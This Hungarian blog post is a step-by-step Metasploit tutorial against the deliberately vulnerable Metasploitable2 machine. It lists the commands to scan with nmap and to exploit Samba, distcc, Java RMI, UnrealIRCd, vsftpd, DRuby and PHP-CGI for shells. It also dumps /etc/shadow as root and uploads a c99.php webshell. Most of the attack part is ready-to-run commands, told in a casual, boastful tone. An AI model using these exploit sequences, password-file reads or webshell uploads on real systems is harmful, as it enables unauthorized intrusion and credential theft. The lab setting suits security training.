2013. október 23., szerda

Penetration tesztelés Metasploittal

Szóval mi is a Pentest (Penetration test)?
Ez egy olyan tesztelés, amikor (cégek) megbíznak hackereket és ők pedig megpróbálnak betörni a rendszerbe nagyobb hálózataiba stb. Szóval az, hogy be lehet törni vagy nem.
Elárulom,hogy áldozat gépnek a Metasploitable2 sebezhető rendszert fogom használni (felhasználónév:msfadmin jelszó:msfadmin) azért választottam ezt mert sok sebezhetőség van rajta és így több mindent lehet mutatni rajta :)
Akkor kezdjük is el. Írd be a parancssorba, hogy msfconsole ha fel van telepítve a metasploit akkor be is fog jönni, ha nincs akkor le lehet tölteni a metasploit.com-ról vagy a github-ról is. Szóval várunk kicsit és bejön a konzol. Addig kezdjünk el infókat gyűjteni az áldozatról, például kezdjük a port scannelléssel először. Erre a legjobb program az nmap. Meg tudja határozni hogy milyen szolgáltatások futnak az áldozat gépen, és még azt is,hogy milyen operációs rendszer fut rajta. :)


Írd be ezt a konzolba:
nmap -sS -sV -A [ip cím]
(kapcsos zárójel nem kell, nooboknak)
Most már tudjuk,hogy milyen alkalmazások futnak az szerveren. És akko most próbáljunk bejutni a szerverre metasploittal. Először kezdjük a Samba exploitálásával. Erre a legjobb exploit  a multi/samba/usermap_script tehát a parancs ez:
use multi/samba/usermap_script
Ezután be kell állítani a Remote Hostot az-az azt a gépet amit meg akarsz támadni a parancs:
set RHOST [ip]
És ha ez megvan akkor futtassuk le az egészet írjuk be, hogy exploit!
Ha minden jól ment és sebezhető volt a samba, akkor kaptunk egy command shell-t. Ezen exploit segítségével most nézzük meg, hogy milyen jogon vagyunk bent. Írd be, hogy id ha ez jön ki: uid=0(root) gid=0(root)
akkor jó mert szinte mindent meg lehet tenni.
Ehelyett még használhatjuk a whoami parancsot is. Az azt mutatja meg hogy milyen userként vagyunk éppen bejelentkezve.  
Ha már úgyis rootként vagyunk bent akkor már szerezzük meg a jelszófájlt. :)
cat /etc/shadow
És ha minden jó kiadja a jelszófájl tartalmát:
Sok mindent megtehetünk, de ma még azt is meg fogom mutatni hogy hogy kell azt ftp-t meg a többi szolgáltatást exploitálni. Tudom hogy ennyi elég lenne pentestnek, de okosodjatok kicsit. :D
Lépjünk ki a shellből és írjuk be, hogy back. Aki nem tudná úgy kell kilépni a shellből, hogy megnyomod a Ctrl+c-t és aztán megkérdi,hogy biztos ki akarsz e lépni. Rrsz egy y-t és enter.
Ezután meg lehet próbálni bejutni a rendszerbe mint deamon user ehhez elég jó választás a distcc exec exploit. A parancs:
use use unix/misc/distcc_exec
És kellene még hozzá egy payload vagyis, hogy mit akarunk csinálni ezen az exploiton keresztül. Erre elég jó a command shell:
set payload cmd/unix/reverse
De egyébként ha már kiválasztottad az exploitot és be írod,hogy show payloads akkor azokat a payloadokat jeleníti meg amik kompatibilisek az exploitoddal. Megint csak be kell állítani a remote hostot:
set RHOST [ip]
Egyébként az RPORT az a remote port, és át lehet állítani ezt is:
set RPORT [port szám]
Ha megvan akkor írd be, hogy exploit. Most jelenleg daemon-ként vagyunk bent ami nem tud olyan sok mindent csinálni mint a root. Például a daemon már nem tudja megnézni a shadow-ot csak a passwd-t.
Aztán próbálkozhatunk java exploittal ami meterpreter shell-t tud nyitni nekünk. Aki ismeri a meterpreter-t azt tudja,hogy miket lehet csinálni benne aki nem tudja annak ideje megismerkedni vele! :)
Akkor a parancs ez lesz:
use multi/misc/java_rmi_server
De be kell állítani az SRVHOST-ot vagyis azt az ip címet, ahova a payload vissza fog nyitni.
set SRVHOST [ip]
Ezután exploit és aztán ha sikerült kapunk egy meterpreter shell-t :)
Ebből a shellből sok mindent lehet csinálni. Pl.: képernyőképet csinálni a távoli gépről stb.
Láttam, hogy az új metasploitable-n van irc port. Ezt is lehet exploitálni és rootként leszünk bent a rendszerbe. A parancs:
use unix/irc/unreal_ircd_3281_backdoor
Ezután megint set RHOST [ip] és aztán exploit és ha minden jó akkor bent vagyunk :)

Most jön az, hogy megpróbáljuk exploitálni a VSFTPD-t. Ez egy elég exploit érzékeny ftp szolgáltatás mint a PROFTPD. A PROFTPD-ben olyan sebezhetőség van amin keresztül lehet SQL sztringeket futtatni, és akkor be fog engedni a szerver és lehet szórakozni. :D
Parancsok:
use unix/ftp/vsftpd_234_backdoor
set rhost [ip]
exploit
És ha minden jó bent is vagyunk, és van is egy command shellünk. :)
Még másképp is be lehet jutni mondjuk drb (DRuby) sebezhetőségen, de először meg kell találni milyen porton fut a druby. Kicsit kell játszani az amap nevű programmal mert nem listázott porton szokták futtatni..
amap [ip] 8787
Általában a 8787-es porton fut ha ez jön ki akkor jó:
Ha megvan a druby akkor meg lehet próbálni exploitálni ezt is. :)
Parancsok:
set URI druby://host:port (példa: set URI druby://192.168.88.248:8787)
exploit 
És ha minden jól ment akkor bent is vagyunk. :)
Most le fogok írni még egy módszert ami szintén egy meterpreter session-t nyit és lehet mondjuk le és fel tölteni fájlokat a download és az upload paranccsal. Ez a módszer php cgi aroment injection sebezhetőségen alapszik. :)
use multi/http/php_cgi_arg_injection
set LHOST [ip]
LHOST-nak a te ip címedet kell megadni mert amilyen ip címet adsz meg LHOST-nak arra az ip címre fog visszanyitni az exploit. :)
set RHOST [ip]
Az RHOST-nak meg a támadni kivánt gép ip címét kell megadni. :)
exploit
Innen már tölthetünk fel és le fájlokat mondjuk fel is lehet tölteni egy webshell-t férget vagy amit akarsz :)
pl(letöltés): download index.html
pl(feltöltés): upload /root/c99.php /var/www/
Meg kell adni az elérési utat és azt is, hogy hova töltse fel. :)
Várunk picit és hopp fent is van. :D
Most nézzük meg a webshell-t célpont/amitfeltettél.php

És GAME OVER!
Innen már azt csinálsz amit akarsz :D
Ezek az exploitok elég jól működnek és képesek root jogot adni, úgyhogy ha már bejutsz egyel valahova, akkor már szinte mindent megtehetsz csak ismerned kell a parancsokat. De daemon-ként nem jó betörni egy rendszerbe nem azt mondom, hogy nemjobb mint a nobody csak rootként a legjobb és ezzel mindenki így van. :D
Ennyi lenne remélem érthető volt kösz, hogy elolvastad! :)